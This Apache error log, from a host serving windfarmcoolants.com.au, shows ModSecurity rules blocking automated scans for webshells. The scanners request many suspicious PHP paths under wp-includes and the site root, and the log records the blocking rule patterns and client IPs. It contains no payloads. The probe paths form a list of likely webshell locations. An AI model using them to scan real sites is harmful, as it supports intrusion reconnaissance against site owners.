[Thu Apr 09 16:08:40.386281 2026] [:error] [pid 24515:tid 24541] [client 216.24.210.37:50843] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/db.php"] [unique_id "addeiK1OMnvM2fMnB1NNhAAAABY"]
[Thu Apr 09 16:08:41.412807 2026] [:error] [pid 24515:tid 24523] [client 216.24.210.20:45767] [client 216.24.210.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "addeia1OMnvM2fMnB1NNhgAAAAQ"]
[Thu Apr 09 16:08:42.185685 2026] [:error] [pid 24516:tid 24554] [client 216.24.210.39:41923] [client 216.24.210.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "addeithW7vSS-UkeWCUHfQAAAEc"]
[Thu Apr 09 16:08:42.812081 2026] [:error] [pid 24927:tid 24943] [client 216.24.210.29:42595] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "addeijXObuzEuw8mNJuhNgAAAQ0"]
[Thu Apr 09 16:08:43.893649 2026] [:error] [pid 20837:tid 20853] [client 216.24.210.42:47557] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "addei_SL71FHZkjrGzOvkAAAAY4"]
[Thu Apr 09 16:08:44.877932 2026] [:error] [pid 24927:tid 24939] [client 216.24.210.67:44983] [client 216.24.210.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "addejDXObuzEuw8mNJuhPAAAAQk"]
[Thu Apr 09 16:08:46.470494 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/5.php
[Thu Apr 09 16:08:48.429758 2026] [:error] [pid 24517:tid 24585] [client 216.24.210.29:63103] [client 216.24.210.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "addekHboYEn2ZFM_PS9fZwAAAIs"]
[Thu Apr 09 16:08:48.433507 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/6.php
[Thu Apr 09 16:08:48.711086 2026] [:error] [pid 24515:tid 24520] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/9.php
[Thu Apr 09 16:08:48.973143 2026] [:error] [pid 24515:tid 24543] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/10.php
[Thu Apr 09 16:08:49.243810 2026] [:error] [pid 24515:tid 24536] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/.mopj.php
[Thu Apr 09 16:08:49.560409 2026] [:error] [pid 24515:tid 24519] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Thu Apr 09 16:08:49.640750 2026] [:error] [pid 20837:tid 20861] [client 216.24.210.10:56463] [client 216.24.210.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "addekfSL71FHZkjrGzOvlQAAAZY"]
[Thu Apr 09 16:08:49.932645 2026] [:error] [pid 24515:tid 24525] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/nano.php
[Thu Apr 09 16:08:50.335443 2026] [:error] [pid 24515:tid 24541] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/f35_S.php
[Thu Apr 09 16:08:50.593891 2026] [:error] [pid 24515:tid 24532] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Thu Apr 09 16:08:50.611856 2026] [:error] [pid 24515:tid 24531] [client 216.24.210.24:32801] [client 216.24.210.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "addekq1OMnvM2fMnB1NNlAAAAAw"]
[Thu Apr 09 16:08:50.852491 2026] [:error] [pid 24515:tid 24527] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/111.php
[Thu Apr 09 16:08:51.117231 2026] [:error] [pid 24515:tid 24521] [client 20.215.65.153:64929] File does not exist: /usr/local/apache/htdocs/suspended-page/wp1.php
[Thu Apr 09 16:08:51.372628 2026] [:error] [pid 24515:tid 24533] [client 20.215.65.153:64929] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "addek61OMnvM2fMnB1NNlwAAAA4"]
[Thu Apr 09 16:08:51.652048 2026] [:error] [pid 24516:tid 24552] [client 216.24.210.35:34899] [client 216.24.210.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "addek9hW7vSS-UkeWCUHfwAAAEU"]
[Thu Apr 09 16:08:52.005398 2026] [:error] [pid 24516:tid 24549] [client 20.215.65.153:64902] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "addelNhW7vSS-UkeWCUHgAAAAEI"]
[Thu Apr 09 16:08:52.483513 2026] [:error] [pid 24927:tid 24949] [client 216.24.210.20:44639] [client 216.24.210.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "addelDXObuzEuw8mNJuhRwAAARM"]
[Thu Apr 09 16:08:52.972607 2026] [:error] [pid 24515:tid 24529] [client 20.215.65.153:65484] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "addelK1OMnvM2fMnB1NNmAAAAAo"]
[Thu Apr 09 16:08:53.510308 2026] [:error] [pid 24516:tid 24563] [client 20.215.65.153:64836] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aligk.php"] [unique_id "addeldhW7vSS-UkeWCUHgwAAAFA"]
[Thu Apr 09 16:08:53.564481 2026] [:error] [pid 18477:tid 18488] [client 216.24.210.33:58675] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-load.php
[Thu Apr 09 16:08:54.102488 2026] [:error] [pid 24515:tid 24519] [client 20.215.65.153:63636] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "addelq1OMnvM2fMnB1NNpAAAAAA"]
[Thu Apr 09 16:08:54.218814 2026] [:error] [pid 18477:tid 18480] [client 216.24.210.33:58675] [client 216.24.210.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.33, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "addelsDe826HlFeoLPI8wgAAAUE"]
[Thu Apr 09 16:08:54.699447 2026] [:error] [pid 24515:tid 24532] [client 20.215.65.153:63597] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "addelq1OMnvM2fMnB1NNpQAAAA0"]
[Thu Apr 09 16:08:55.142372 2026] [:error] [pid 18477:tid 18500] [client 216.24.210.33:58675] [client 216.24.210.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "addel8De826HlFeoLPI8yAAAAVU"]
[Thu Apr 09 16:08:56.401478 2026] [:error] [pid 24515:tid 24524] [client 20.215.65.153:64942] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "addemK1OMnvM2fMnB1NNqAAAAAU"]
[Thu Apr 09 16:08:56.407280 2026] [:error] [pid 24516:tid 24566] [client 216.24.210.25:42487] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Thu Apr 09 16:08:56.712268 2026] [:error] [pid 24516:tid 24557] [client 216.24.210.25:42487] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-fmfile.php
[Thu Apr 09 16:08:57.505939 2026] [:error] [pid 24515:tid 24541] [client 20.215.65.153:64246] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byrgo.php"] [unique_id "addema1OMnvM2fMnB1NNqgAAABY"]
[Thu Apr 09 16:08:58.550452 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:64210] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "addemsDe826HlFeoLPI8ygAAAU0"]
[Thu Apr 09 16:08:58.771106 2026] [:error] [pid 24516:tid 24554] [client 216.24.210.25:42487] File does not exist: /usr/local/apache/htdocs/suspended-page/memberfuns.php
[Thu Apr 09 16:08:58.935020 2026] [:error] [pid 24516:tid 24569] [client 216.24.210.25:42487] File does not exist: /usr/local/apache/htdocs/suspended-page/infos.php
[Thu Apr 09 16:08:59.293116 2026] [:error] [pid 20837:tid 20844] [client 20.215.65.153:64895] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "addem_SL71FHZkjrGzOvmwAAAYU"]
[Thu Apr 09 16:08:59.912778 2026] [:error] [pid 24927:tid 24942] [client 20.215.65.153:64284] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "addemzXObuzEuw8mNJuhTwAAAQw"]
[Thu Apr 09 16:09:00.118375 2026] [:error] [pid 24516:tid 24564] [client 216.24.210.25:42487] File does not exist: /usr/local/apache/htdocs/suspended-page/options-writing.php
[Thu Apr 09 16:09:00.478547 2026] [:error] [pid 24516:tid 24552] [client 216.24.210.25:42487] File does not exist: /usr/local/apache/htdocs/suspended-page/options-reading.php
[Thu Apr 09 16:09:00.677284 2026] [:error] [pid 24516:tid 24551] [client 216.24.210.25:42487] File does not exist: /usr/local/apache/htdocs/suspended-page/wsad.php
[Thu Apr 09 16:09:00.910315 2026] [:error] [pid 24516:tid 24571] [client 216.24.210.25:42487] File does not exist: /usr/local/apache/htdocs/suspended-page/nation.php
[Thu Apr 09 16:09:01.112147 2026] [:error] [pid 24516:tid 24549] [client 216.24.210.25:42487] [client 216.24.210.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "addendhW7vSS-UkeWCUHlQAAAEI"]
[Thu Apr 09 16:09:01.569063 2026] [:error] [pid 24515:tid 24531] [client 20.215.65.153:63056] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwpg.php"] [unique_id "addena1OMnvM2fMnB1NNtAAAAAw"]
[Thu Apr 09 16:09:01.908525 2026] [:error] [pid 24515:tid 24526] [client 216.24.210.42:34311] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "addena1OMnvM2fMnB1NNtwAAAAc"]
[Thu Apr 09 16:09:02.430565 2026] [:error] [pid 24515:tid 24525] [client 20.215.65.153:64865] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "addenq1OMnvM2fMnB1NNuwAAAAY"]
[Thu Apr 09 16:09:02.966824 2026] [:error] [pid 18477:tid 18500] [client 20.215.65.153:64845] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "addensDe826HlFeoLPI80wAAAVU"]
[Thu Apr 09 16:09:03.121073 2026] [:error] [pid 24624:tid 24645] [client 216.24.210.17:27087] [client 216.24.210.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "adden-4Jn-WvK1ZBTviVYgAAANM"]
[Thu Apr 09 16:09:03.696838 2026] [:error] [pid 24517:tid 24586] [client 20.215.65.153:64241] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "adden3boYEn2ZFM_PS9faQAAAIw"]
[Thu Apr 09 16:09:04.139453 2026] [:error] [pid 18477:tid 18502] [client 216.24.210.42:61899] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atomx.php
[Thu Apr 09 16:09:04.223512 2026] [:error] [pid 18477:tid 18479] [client 20.215.65.153:63065] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "addeoMDe826HlFeoLPI82QAAAUA"]
[Thu Apr 09 16:09:04.347495 2026] [:error] [pid 18477:tid 18494] [client 216.24.210.42:61899] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-footer.php
[Thu Apr 09 16:09:04.750581 2026] [:error] [pid 18477:tid 18488] [client 216.24.210.42:61899] File does not exist: /usr/local/apache/htdocs/suspended-page/XxX.php
[Thu Apr 09 16:09:04.798266 2026] [:error] [pid 18477:tid 18486] [client 20.215.65.153:63639] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "addeoMDe826HlFeoLPI83gAAAUc"]
[Thu Apr 09 16:09:05.257759 2026] [:error] [pid 18477:tid 18498] [client 216.24.210.42:61899] [client 216.24.210.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "addeocDe826HlFeoLPI84AAAAVM"]
[Thu Apr 09 16:09:05.859023 2026] [:error] [pid 24624:tid 24630] [client 20.215.65.153:64923] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "addeoe4Jn-WvK1ZBTviVZQAAAMQ"]
[Thu Apr 09 16:09:06.041647 2026] [:error] [pid 24517:tid 24576] [client 173.239.218.20:63763] [client 173.239.218.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "addeonboYEn2ZFM_PS9fbAAAAII"]
[Thu Apr 09 16:09:06.553408 2026] [:error] [pid 24517:tid 24590] [client 20.215.65.153:62427] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "addeonboYEn2ZFM_PS9fbwAAAJA"]
[Thu Apr 09 16:09:07.175848 2026] [:error] [pid 24927:tid 24953] [client 216.24.210.14:53089] [client 216.24.210.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "addeozXObuzEuw8mNJuhUwAAARc"]
[Thu Apr 09 16:09:07.351460 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:64307] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "addeozXObuzEuw8mNJuhVAAAAQo"]
[Thu Apr 09 16:09:08.033558 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:64286] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "addepMDe826HlFeoLPI85wAAAU0"]
[Thu Apr 09 16:09:08.587226 2026] [:error] [pid 18477:tid 18479] [client 216.24.210.20:55761] [client 216.24.210.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "addepMDe826HlFeoLPI87AAAAUA"]
[Thu Apr 09 16:09:08.916278 2026] [:error] [pid 24624:tid 24638] [client 20.215.65.153:64305] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "addepO4Jn-WvK1ZBTviVagAAAMw"]
[Thu Apr 09 16:09:09.583452 2026] [:error] [pid 24624:tid 24632] [client 216.24.210.67:47701] [client 216.24.210.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "addepe4Jn-WvK1ZBTviVbQAAAMY"]
[Thu Apr 09 16:09:09.653809 2026] [:error] [pid 18477:tid 18489] [client 20.215.65.153:65526] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "addepcDe826HlFeoLPI88gAAAUo"]
[Thu Apr 09 16:09:10.525980 2026] [:error] [pid 24517:tid 24581] [client 20.215.65.153:62996] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "addepnboYEn2ZFM_PS9fdAAAAIc"]
[Thu Apr 09 16:09:11.018508 2026] [:error] [pid 24624:tid 24631] [client 216.24.210.26:59323] [client 216.24.210.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "addep-4Jn-WvK1ZBTviVcAAAAMU"]
[Thu Apr 09 16:09:11.214071 2026] [:error] [pid 24624:tid 24640] [client 20.215.65.153:63047] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fine.php"] [unique_id "addep-4Jn-WvK1ZBTviVcQAAAM4"]
